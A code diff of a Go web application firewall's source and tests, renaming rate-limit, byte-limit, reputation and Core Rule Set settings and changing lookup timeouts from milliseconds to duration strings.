s := startWAF(t, geojsURL, map[string]string{
|
||||
unknownCountryLimitPercent: "0", rateLimitPerMinute: "1",
|
||||
unknownLimitPercent: "0", rateLimitPerMinute: "1",
|
||||
})
|
||||
s.server.GeoJS.Load([]lookup.Answer{{
|
||||
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
||||
@@ -502,7 +494,7 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
|
||||
|
||||
geojsURL, asked := startGeoJS(t)
|
||||
s := startWAF(t, geojsURL, map[string]string{
|
||||
mode: observe, addLookupHeaders: on, asnAndCountryLookupTimeout: "3600000",
|
||||
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
|
||||
})
|
||||
req := s.question(siteA, fromDE, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
@@ -630,10 +622,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
action: requestlog.ActionClientIsRateLimited,
|
||||
},
|
||||
{
|
||||
name: "the rate limits, with a biased threshold",
|
||||
env: map[string]string{
|
||||
rateLimitPerMinute: "1", unknownCountryLimitPercent: "50",
|
||||
},
|
||||
name: "the rate limits, with a biased threshold",
|
||||
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
|
||||
prepare: countClient, status: forbidden,
|
||||
action: requestlog.ActionClientIsRateLimited,
|
||||
},
|
||||
@@ -656,9 +646,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||
// so that a request that does not wait takes no time at all.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, so that a request that does not wait takes no time at all.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out := newWAFInBubble(t, tc.env)
|
||||
tc.prepare(t, server, time.Now())
|
||||
@@ -770,7 +759,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
|
||||
return waf.New(params)
|
||||
}, silentGeoJSURL, time.Now, map[string]string{
|
||||
tagDeny: "country=KP", coreRuleSetMode: block,
|
||||
tagDeny: "country=KP", wafMode: block,
|
||||
dnsblZones: dnsblZone, dnsblResolver: resolver,
|
||||
abuseIPDBKey: accountKey,
|
||||
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
||||
@@ -781,8 +770,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
// network inside it would keep its clock from moving on.
|
||||
go server.Lists.Run(t.Context())
|
||||
|
||||
// In the bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
|
||||
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
|
||||
// answer takes exactly as long as waf waits, however busy the host is.
|
||||
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
||||
// the DNS blocklist waits on the network, which stops the bubble's clock,
|
||||
@@ -844,7 +832,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
// The query is answered, and the check with AbuseIPDB abandoned,
|
||||
// before the bubble ends.
|
||||
releaseResolver()
|
||||
time.Sleep(defaultDNSBLAbuseIPDBWait)
|
||||
time.Sleep(defaultReputationWait)
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -81,11 +81,11 @@ func limitFigures(hit ratelimit.Hit) map[string]any {
|
||||
|
||||
// countedBytes returns the request's bytes, once it has ended, as the
|
||||
// byte limits and the anomaly thresholds count them: the response's body
|
||||
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNTED says.
|
||||
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNT says.
|
||||
func (rq *request) countedBytes() int64 {
|
||||
response, request := rq.out.bytes, rq.requestBytes
|
||||
|
||||
switch rq.h.config.BytesCounted {
|
||||
switch rq.h.config.BytesCount {
|
||||
case "response":
|
||||
return response
|
||||
case "request":
|
||||
@@ -100,8 +100,8 @@ func (rq *request) countedBytes() int64 {
|
||||
// the metrics. status is what the client was sent, or is sent:
|
||||
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for
|
||||
// one whose bytes broke a byte limit, the refusal for one that broke the
|
||||
// refusal limit. The ban's notes give the client's limit percentage for a
|
||||
// rate limit or a byte limit; the refusal limit is not lowered. The ban sets
|
||||
// error burst. The ban's notes give the client's limit percentage for a
|
||||
// rate limit or a byte limit; the error burst is not lowered. The ban sets
|
||||
// the client's counters back to zero. In observe mode it makes no ban and
|
||||
// sets nothing back, and raises the alert for the ban it would have made,
|
||||
// if that alert would be sent.
|
||||
|
||||
+16
-16
@@ -90,10 +90,10 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
rateLimitPerMinute: "1",
|
||||
limitBanDuration: "10m",
|
||||
limitBanRepeatWindow: "1h",
|
||||
limitBanPermanentAbove: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
limitBanDuration: "10m",
|
||||
limitBanRepeatWindow: "1h",
|
||||
maxBanDuration: "1h",
|
||||
})
|
||||
|
||||
// breakLimit has client go over the limit of one a minute, and
|
||||
@@ -130,7 +130,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
||||
clk.advance(10 * time.Minute)
|
||||
wantExpires(breakLimit(), 30*time.Minute)
|
||||
|
||||
// 90 minutes would be longer than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE: the ban is
|
||||
// 90 minutes would be longer than SWW_WAF_MAX_BAN_DURATION: the ban is
|
||||
// permanent.
|
||||
clk.advance(30 * time.Minute)
|
||||
|
||||
@@ -256,10 +256,10 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
|
||||
|
||||
geojsURL, asked := startGeoJS(t)
|
||||
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
rateLimitPerMinute: "1",
|
||||
banScopeV4Prefix: "24",
|
||||
tagDeny: denyKP,
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
banScopeV4Prefix: "24",
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
|
||||
// fromDE's ban covers otherClient, which is refused unasked about.
|
||||
@@ -319,10 +319,10 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
env := map[string]string{
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
rateLimitPerMinute: "1",
|
||||
denyNets: denied,
|
||||
tagDeny: denyKP,
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
denyNets: denied,
|
||||
tagDeny: denyKP,
|
||||
}
|
||||
|
||||
if tc.setting != "" {
|
||||
@@ -345,9 +345,9 @@ func TestBanNotes(t *testing.T) {
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
rateLimitPerMinute: "1",
|
||||
tagDeny: denyKP,
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
|
||||
+27
-28
@@ -17,15 +17,14 @@ type percentage struct {
|
||||
}
|
||||
|
||||
// biasedThresholdsSet reports whether a biased threshold can lower a
|
||||
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
|
||||
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
|
||||
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed
|
||||
// before its request goes on.
|
||||
func biasedThresholdsSet(cfg *config.WAF) bool {
|
||||
return len(cfg.ASNBytesLimitPercent) > 0 ||
|
||||
len(cfg.CountryBytesLimitPercent) > 0 ||
|
||||
cfg.UnknownCountryLimitPercent < whole ||
|
||||
// client's limits by its lookup: SWW_WAF_ASN_BYTES_PERCENT or
|
||||
// SWW_WAF_COUNTRY_BYTES_PERCENT is not empty, SWW_WAF_UNKNOWN_LIMIT_PERCENT is
|
||||
// below 100, or SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||
// then needed before its request goes on.
|
||||
func biasedThresholdsSet(cfg *config.Config) bool {
|
||||
return len(cfg.ASNBytesPercent) > 0 ||
|
||||
len(cfg.CountryBytesPercent) > 0 ||
|
||||
cfg.UnknownLimitPercent < whole ||
|
||||
cfg.ASNLimitPercentURL != ""
|
||||
}
|
||||
|
||||
@@ -38,13 +37,13 @@ func biasedThresholdsSet(cfg *config.WAF) bool {
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
||||
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
||||
// other tags, for a client without a country, unless its request skipped
|
||||
// the wait for GeoJS, SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT, for a client a blocklist
|
||||
// the wait for GeoJS, SWW_WAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
|
||||
// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and
|
||||
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
|
||||
// a hit, the percentage of SWW_WAF_DNSBL_ABUSEIPDB_ACTION while it is limit. For
|
||||
// the byte limits, SWW_WAF_ASN_BYTES_LIMIT_PERCENT and
|
||||
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT take the place of the first three for
|
||||
// an AS number or a country they list.
|
||||
// a hit, the percentage of SWW_WAF_REPUTATION_ACTION while it is limit. For
|
||||
// the byte limits, SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT
|
||||
// take the place of the first three for an AS number or a country they
|
||||
// list.
|
||||
func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
cfg := rq.h.config
|
||||
asn, country := rq.line.ASN, rq.line.Country
|
||||
@@ -52,8 +51,8 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
unknown := percentage{percent: whole}
|
||||
if country == "" && !rq.skippedLookupWait {
|
||||
unknown = percentage{
|
||||
cfg.UnknownCountryLimitPercent,
|
||||
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT",
|
||||
cfg.UnknownLimitPercent,
|
||||
"SWW_WAF_UNKNOWN_LIMIT_PERCENT",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -70,12 +69,12 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
}
|
||||
}
|
||||
|
||||
dnsblAbuseIPDBListed := percentage{percent: whole}
|
||||
reputationListed := percentage{percent: whole}
|
||||
if (rq.dnsblListed || rq.abuseIPDBHit) &&
|
||||
cfg.DNSBLAbuseIPDBAction == "limit" {
|
||||
dnsblAbuseIPDBListed = percentage{
|
||||
cfg.DNSBLAbuseIPDBLimitPercent,
|
||||
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
|
||||
cfg.ReputationAction == "limit" {
|
||||
reputationListed = percentage{
|
||||
cfg.ReputationLimitPercent,
|
||||
"SWW_WAF_REPUTATION_ACTION",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -103,24 +102,24 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
}
|
||||
|
||||
asnBytes, countryBytes := asnRequests, countryRequests
|
||||
if _, listed := cfg.ASNBytesLimitPercent[asn]; listed {
|
||||
if _, listed := cfg.ASNBytesPercent[asn]; listed {
|
||||
asnBytes = given(
|
||||
cfg.ASNBytesLimitPercent,
|
||||
cfg.ASNBytesPercent,
|
||||
asn,
|
||||
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT",
|
||||
"SWW_WAF_ASN_BYTES_PERCENT",
|
||||
)
|
||||
}
|
||||
|
||||
if _, listed := cfg.CountryBytesLimitPercent[country]; listed {
|
||||
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
||||
countryBytes = given(
|
||||
cfg.CountryBytesLimitPercent,
|
||||
cfg.CountryBytesPercent,
|
||||
country,
|
||||
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT",
|
||||
"SWW_WAF_COUNTRY_BYTES_PERCENT",
|
||||
)
|
||||
}
|
||||
|
||||
// The limits that lower requests and bytes alike.
|
||||
common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed)
|
||||
common := lowest(otherTags, unknown, blocklisted, reputationListed)
|
||||
|
||||
return lowest(asnRequests, countryRequests, common),
|
||||
lowest(asnBytes, countryBytes, common)
|
||||
|
||||
+37
-51
@@ -8,7 +8,6 @@ import (
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"testing/synctest"
|
||||
@@ -23,10 +22,10 @@ import (
|
||||
|
||||
// The biased thresholds.
|
||||
const (
|
||||
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
|
||||
asnBytesLimitPercent = "SWW_WAF_ASN_BYTES_LIMIT_PERCENT"
|
||||
countryBytesLimitPercent = "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT"
|
||||
unknownCountryLimitPercent = "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT"
|
||||
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
|
||||
asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT"
|
||||
countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT"
|
||||
unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -61,7 +60,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
|
||||
}{
|
||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||
{tagLimitPercent, countryTagDEHalf, fromDE},
|
||||
{unknownCountryLimitPercent, "50", unplaced},
|
||||
{unknownLimitPercent, "50", unplaced},
|
||||
} {
|
||||
t.Run(tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -109,9 +108,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
||||
}{
|
||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||
{tagLimitPercent, "Country=de:50", fromDE},
|
||||
{unknownCountryLimitPercent, "50", unplaced},
|
||||
{asnBytesLimitPercent, "as64496:50", fromDE},
|
||||
{countryBytesLimitPercent, countryDEHalf, fromDE},
|
||||
{unknownLimitPercent, "50", unplaced},
|
||||
{asnBytesPercent, "as64496:50", fromDE},
|
||||
{countryBytesPercent, countryDEHalf, fromDE},
|
||||
} {
|
||||
t.Run(tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -150,7 +149,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -164,28 +163,22 @@ func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
||||
}{
|
||||
{
|
||||
"lowering the byte limits alone",
|
||||
map[string]string{asnBytesLimitPercent: asnDEHalf},
|
||||
none, "50 from " + asnBytesLimitPercent, minuteBytes,
|
||||
map[string]string{asnBytesPercent: asnDEHalf},
|
||||
none, "50 from " + asnBytesPercent, minuteBytes,
|
||||
},
|
||||
{
|
||||
"lowering the byte limits alone, by country",
|
||||
map[string]string{countryBytesLimitPercent: countryDEHalf},
|
||||
none, "50 from " + countryBytesLimitPercent, minuteBytes,
|
||||
map[string]string{countryBytesPercent: countryDEHalf},
|
||||
none, "50 from " + countryBytesPercent, minuteBytes,
|
||||
},
|
||||
{
|
||||
"raising the byte limits back",
|
||||
map[string]string{
|
||||
tagLimitPercent: asnTagDEHalf,
|
||||
asnBytesLimitPercent: asnDE + ":100",
|
||||
},
|
||||
map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
|
||||
"50 from " + tagLimitPercent, none, "",
|
||||
},
|
||||
{
|
||||
"raising the byte limits back, by country",
|
||||
map[string]string{
|
||||
tagLimitPercent: countryTagDEHalf,
|
||||
countryBytesLimitPercent: "de:100",
|
||||
},
|
||||
map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
|
||||
"50 from " + tagLimitPercent, none, "",
|
||||
},
|
||||
} {
|
||||
@@ -221,7 +214,7 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
||||
|
||||
s, _, _ := startWithLookups(
|
||||
t,
|
||||
map[string]string{unknownCountryLimitPercent: "0"},
|
||||
map[string]string{unknownLimitPercent: "0"},
|
||||
)
|
||||
|
||||
// The first request breaks the limit, and bans the client; the log line
|
||||
@@ -232,12 +225,12 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
||||
requestlog.ActionClientIsRateLimited,
|
||||
)
|
||||
if line.fields["rate_limit_percent"] != float64(0) ||
|
||||
line.fields["rate_limit_percent_setting"] != unknownCountryLimitPercent {
|
||||
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
|
||||
t.Errorf(
|
||||
"log line has rate_limit_percent %v from %v, want 0 from %s",
|
||||
line.fields["rate_limit_percent"],
|
||||
line.fields["rate_limit_percent_setting"],
|
||||
unknownCountryLimitPercent,
|
||||
unknownLimitPercent,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -271,11 +264,11 @@ func TestLowestPercentageApplies(t *testing.T) {
|
||||
},
|
||||
{
|
||||
"that for a client without a country",
|
||||
map[string]string{tagLimitPercent: "asn=64500:50", unknownCountryLimitPercent: "25"},
|
||||
noCountry, "25 from " + unknownCountryLimitPercent,
|
||||
map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
|
||||
noCountry, "25 from " + unknownLimitPercent,
|
||||
},
|
||||
{
|
||||
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is left at its default, 100.
|
||||
// SWW_WAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
|
||||
"the AS number's, for a client without a country",
|
||||
map[string]string{tagLimitPercent: "asn=64500:25"},
|
||||
noCountry, "25 from " + tagLimitPercent,
|
||||
@@ -303,13 +296,13 @@ func TestLowestPercentageApplies(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithLookups(t, map[string]string{
|
||||
rateLimitPerMinute: fourAMinute, unknownCountryLimitPercent: "50",
|
||||
rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
|
||||
})
|
||||
|
||||
// One the lookup database does not hold, and one on a private address,
|
||||
@@ -330,17 +323,14 @@ func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
|
||||
// a GeoJS that never answers.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{unknownCountryLimitPercent: "0"})
|
||||
map[string]string{unknownLimitPercent: "0"})
|
||||
|
||||
// Once the time the request waits for its answer is up, the client
|
||||
// counts as without a country, and its zero allowance refuses the
|
||||
@@ -356,7 +346,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
|
||||
)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
"0 from "+unknownCountryLimitPercent)
|
||||
"0 from "+unknownLimitPercent)
|
||||
})
|
||||
}
|
||||
|
||||
@@ -375,26 +365,22 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
||||
// A tag the lookup does not give needs no answer.
|
||||
{tagLimitPercent, "vpn:50", false},
|
||||
{tagDeny, "vpn", false},
|
||||
{asnBytesLimitPercent, asnDEHalf, true},
|
||||
{countryBytesLimitPercent, countryDEHalf, true},
|
||||
{unknownCountryLimitPercent, "99", true},
|
||||
{asnBytesPercent, asnDEHalf, true},
|
||||
{countryBytesPercent, countryDEHalf, true},
|
||||
{unknownLimitPercent, "99", true},
|
||||
{asnLimitPercentURL, asnURL, true},
|
||||
// At 100, its default, it lowers no limit.
|
||||
{unknownCountryLimitPercent, "100", false},
|
||||
{unknownLimitPercent, "100", false},
|
||||
} {
|
||||
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||
// with a GeoJS that never answers.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{
|
||||
asnAndCountryLookupTimeout: strconv.FormatInt(
|
||||
timeout.Milliseconds(), 10),
|
||||
tagLists: "vpn=" + vpnList,
|
||||
tc.setting: tc.value,
|
||||
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
|
||||
})
|
||||
began := time.Now()
|
||||
|
||||
@@ -463,10 +449,10 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
|
||||
"a byte limit",
|
||||
map[string]string{
|
||||
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
|
||||
asnBytesLimitPercent: asnDEHalf,
|
||||
asnBytesPercent: asnDEHalf,
|
||||
},
|
||||
0, http.StatusOK, requestlog.ActionForward,
|
||||
"bytes per minute over the limit of 99", "50 from " + asnBytesLimitPercent,
|
||||
"bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package waf
|
||||
|
||||
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNTED, and the byte limits
|
||||
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNT, and the byte limits
|
||||
// and biased thresholds through the limiter and limitPercentages.
|
||||
|
||||
import (
|
||||
|
||||
@@ -22,10 +22,10 @@ const (
|
||||
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
|
||||
bytesCounted = "SWW_WAF_BYTES_COUNTED"
|
||||
bytesCount = "SWW_WAF_BYTES_COUNT"
|
||||
)
|
||||
|
||||
// The values of SWW_WAF_BYTES_COUNTED.
|
||||
// The values of SWW_WAF_BYTES_COUNT.
|
||||
const (
|
||||
countResponse = "response"
|
||||
countRequest = "request"
|
||||
@@ -212,7 +212,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
||||
t,
|
||||
answerAfterUpgrade,
|
||||
map[string]string{
|
||||
bytesLimitPerMinute: "29", bytesCounted: tc.setting,
|
||||
bytesLimitPerMinute: "29", bytesCount: tc.setting,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -239,7 +239,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
|
||||
func TestBytesCountSaysWhichBytesCount(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -257,7 +257,7 @@ func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{
|
||||
bytesLimitPerMinute: byteLimit, bytesCounted: tc.setting,
|
||||
bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
|
||||
})
|
||||
|
||||
for i := 1; i <= tc.breaking; i++ {
|
||||
|
||||
+11
-11
@@ -1,7 +1,7 @@
|
||||
package waf
|
||||
|
||||
// The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE,
|
||||
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
|
||||
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -17,7 +17,7 @@ import (
|
||||
// SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
|
||||
// exempts its path, as pathExempt decides, and notes the rules it matched and
|
||||
// its score in the log line, and the rules in the metrics. A score at or over
|
||||
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD is a match: it adds the tag
|
||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD is a match: it adds the tag
|
||||
// exploitsignature, raises the core_rule_set_match alert, and in block mode
|
||||
// refuses the request with 403, which is an offence its client's history
|
||||
// counts. Its figures are the score and the threshold.
|
||||
@@ -31,8 +31,8 @@ func (coreRuleSet) check(
|
||||
_ time.Time,
|
||||
) *verdict {
|
||||
cfg := rq.h.config
|
||||
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff ||
|
||||
pathExempt(rq.in, cfg.CoreRuleSetExemptPaths) {
|
||||
if cfg.WAFMode == config.WAFModeOff ||
|
||||
pathExempt(rq.in, cfg.WAFExemptPaths) {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -50,10 +50,10 @@ func (coreRuleSet) check(
|
||||
rq.line.CoreRuleSetScore = &result.Score
|
||||
|
||||
for _, id := range result.RuleIDs {
|
||||
rq.h.metrics.CoreRuleSetMatched(cfg.CoreRuleSetMode, id)
|
||||
rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id)
|
||||
}
|
||||
|
||||
threshold := cfg.CoreRuleSetScoreThreshold
|
||||
threshold := cfg.WAFAnomalyThreshold
|
||||
if threshold == 0 || result.Score < threshold {
|
||||
return nil
|
||||
}
|
||||
@@ -61,7 +61,7 @@ func (coreRuleSet) check(
|
||||
rq.addTag(config.ExploitSignatureTag)
|
||||
rq.alertCoreRuleSetMatch(result)
|
||||
|
||||
if cfg.CoreRuleSetMode == config.CoreRuleSetModeDetect {
|
||||
if cfg.WAFMode == config.WAFModeDetect {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -78,7 +78,7 @@ func (coreRuleSet) check(
|
||||
|
||||
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
|
||||
// which the Core Rule Set scored at result, at or over
|
||||
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. Its detail gives the rule ids, the
|
||||
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. Its detail gives the rule ids, the
|
||||
// score, the method and the path with the query, and, for a request that is
|
||||
// not refused for it, the mode: detect, or observe in observe mode.
|
||||
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||
@@ -90,8 +90,8 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||
}
|
||||
|
||||
switch {
|
||||
case rq.h.config.CoreRuleSetMode == config.CoreRuleSetModeDetect:
|
||||
detail["mode"] = config.CoreRuleSetModeDetect
|
||||
case rq.h.config.WAFMode == config.WAFModeDetect:
|
||||
detail["mode"] = config.WAFModeDetect
|
||||
case rq.h.config.Observe:
|
||||
detail["mode"] = "observe"
|
||||
}
|
||||
@@ -105,7 +105,7 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||
ASName: rq.line.ASName,
|
||||
Country: rq.line.Country,
|
||||
Reason: "scored by the Core Rule Set at or over " +
|
||||
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
|
||||
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
@@ -18,20 +18,20 @@ import (
|
||||
// The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and
|
||||
// its two modes that inspect requests.
|
||||
const (
|
||||
coreRuleSetScoreThreshold = "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD"
|
||||
